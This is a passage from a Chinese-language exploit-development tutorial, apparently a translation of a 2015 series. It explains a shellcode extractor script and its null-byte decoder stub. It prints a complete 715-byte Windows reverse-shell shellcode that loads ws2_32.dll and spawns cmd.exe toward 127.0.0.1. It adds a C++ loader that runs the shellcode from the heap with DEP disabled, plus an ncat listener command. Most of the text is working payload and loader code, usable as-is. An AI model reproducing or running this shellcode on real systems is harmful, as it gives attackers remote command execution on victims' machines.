就像之前，我们需要讨论在shellcode起始部分提前准备好的“decoder”。该decoder的代码比之前的更长，但是原理相同。
这里是代码:
code = ([
0xEB, len(bytes_blocks)] + # JMP SHORT skip_bytes
# bytes:
bytes_blocks + [ # ...
# skip_bytes:
0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4
# here:
0xC0, # (FF)C0 = INC EAX
0x5F, # POP EDI
0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len>
0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len>
0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes - here)]
0x83, 0xC7, 0x30, # ADD EDI, shellcode_begin - here
# loop1:
0xB0, 0xFE, # MOV AL, 0FEh
0xF6, 0x63, 0x01, # MUL AL, BYTE PTR [EBX+1]
0x0F, 0xB7, 0xD0, # MOVZX EDX, AX
0x33, 0xF6, # XOR ESI, ESI
0xFC, # CLD
# loop2:
0x8A, 0x07, # MOV AL, BYTE PTR [EDI]
0x3A, 0x03, # CMP AL, BYTE PTR [EBX]
0x0F, 0x44, 0xC6, # CMOVE EAX, ESI
0xAA, # STOSB
0x49, # DEC ECX
0x74, 0x07, # JE shellcode_begin
0x4A, # DEC EDX
0x75, 0xF2, # JNE loop2
0x43, # INC EBX
0x43, # INC EBX
0xEB, 0xE3 # JMP loop1
# shellcode_begin:
])
bytes_blocks是数组：
[missing_byte1, num_blocks1, missing_byte2, num_blocks2, ...]
我们在之前已经讨论过，但是没有配对。
注意代码始于跳过bytes_blocks的JMP SHORT指令。为了实现该操作，len(bytes_blocks)必须小于或等于0x7F。但是正如你所看到的，len(bytes_blocks) 也出现在另一条指令中：
0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes - here)]
这里要求len(bytes_blocks) 小于或等于0x7F – 5，因此这是决定性的条件。如果条件违规，则：
if len(bytes_blocks) > 0x7f - 5:
# Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
return None
进一步审计代码：
JMP SHORT skip_bytes
bytes:
...
skip_bytes:
CALL $ + 4 ; PUSH "here"; JMP "here"-1
here:
(FF)C0 = INC EAX ; not important: just a NOP
POP EDI ; EDI = absolute address of "here"
MOV ECX, <xor value 1 for shellcode len>
XOR ECX, <xor value 2 for shellcode len> ; ECX = shellcode length
LEA EBX, [EDI + (bytes - here)] ; EBX = absolute address of "bytes"
ADD EDI, shellcode_begin - here ; EDI = absolute address of the shellcode
loop1:
MOV AL, 0FEh ; AL = 254
MUL AL, BYTE PTR [EBX+1] ; AX = 254 * current num_blocksX = num bytes
MOVZX EDX, AX ; EDX = num bytes of the current chunk
XOR ESI, ESI ; ESI = 0
CLD ; tells STOSB to go forwards
loop2:
MOV AL, BYTE PTR [EDI] ; AL = current byte of shellcode
CMP AL, BYTE PTR [EBX] ; is AL the missing byte for the current chunk?
CMOVE EAX, ESI ; if it is, then EAX = 0
STOSB ; replaces the current byte of the shellcode with AL
DEC ECX ; ECX -= 1
JE shellcode_begin ; if ECX == 0, then we're done!
DEC EDX ; EDX -= 1
JNE loop2 ; if EDX != 0, then we keep working on the current chunk
INC EBX ; EBX += 1 (moves to next pair...
INC EBX ; EBX += 1 ... missing_bytes, num_blocks)
JMP loop1 ; starts working on the next chunk
shellcode_begin:
测试脚本
这部分会简明易懂！如果没有任何参数，运行脚本将会显示如下：
Shellcode Extractor by Massimiliano Tomassoli (2015)
Usage:
sce.py <exe file> <map file>
如果你还记得，我们也已经告诉过VS 2013的linker生成一个映射文件。只调用具有exe文件及映射文件路径的脚本。此处是从反向shellcode中得到的信息：
Shellcode Extractor by Massimiliano Tomassoli (2015)
Extracting shellcode length from "mapfile"...
shellcode length: 614
Extracting shellcode from "shellcode.exe" and analyzing relocations...
Found 3 reference(s) to 3 string(s) in .rdata
Strings:
ws2_32.dll
cmd.exe
127.0.0.1
Fixing the shellcode...
final shellcode length: 715
char shellcode[] =
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
"\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
"\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
"\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
"\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
"\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
"\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
"\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
"\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
"\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
"\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
"\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
"\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
"\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
"\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
"\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
"\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
"\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
"\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
"\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
"\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
"\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
"\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
"\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
"\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
"\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
"\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
"\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
"\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
"\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
"\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
"\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
"\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
"\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
"\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
"\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
"\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
"\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
"\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
"\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
"\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
重点在于重定位信息，因为可以根据它来检查一切是否OK。例如，我们了解到反向shell使用3个字符串来实现，并且它们是从.rdata节中提取的。我们可以了解到原始shellcode为614个字节，同时也了解到已生成的shellcode（在处理了重定向信息以及null字节之后）为715字节。
现在需要运行已生成的shellcode。此处是完整的源码：
#include <cstring>
#include <cassert>
// Important: Disable DEP!
// (Linker->Advanced->Data Execution Prevention = NO)
void main() {
char shellcode[] =
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
"\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
"\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
"\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
"\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
"\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
"\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
"\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
"\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
"\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
"\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
"\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
"\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
"\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
"\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
"\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
"\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
"\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
"\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
"\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
"\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
"\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
"\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
"\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
"\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
"\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
"\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
"\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
"\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
"\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
"\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
"\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
"\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
"\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
"\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
"\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
"\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
"\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
"\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
"\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
"\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
static_assert(sizeof(shellcode) > 4, "Use 'char shellcode[] = ...' (not 'char *shellcode = ...')");
// We copy the shellcode to the heap so that it's in writeable memory and can modify itself.
char *ptr = new char[sizeof(shellcode)];
memcpy(ptr, shellcode, sizeof(shellcode));
((void(*)())ptr)();
}
此时需要关闭DEP（Data Execution Prevention)来让该段代码成功地被执行，通过Project→<solution name> Properties 然后在 Configuration Properties下, Linker and Advanced, 将 Data Execution Prevention(DEP) 设为 No (/NXCOMPAT:NO)。因为shellcode将会在堆中被执行，所以开启了DEP会导致shellcode无法被执行。
C++11(因此需要VS 2013 CTP)标准中介绍了static_assert ，使用如下语句来检查
char shellcode[] = "..."
而不是
char *shellcode = "..."
在第一个案例中，sizeof(shellcode)表示shellcode的有效长度，此时shellcode已经被复制到栈上了。在第二个案例中，sizeof(shellcode) 只是表示指针(i.e. 4)的大小，并且该指针指向在.rdata节中的shellcode。
可以打开cmd shell来测试shellcode：
ncat -lvp 123
接着运行shellcode并观察它是否被成功执行。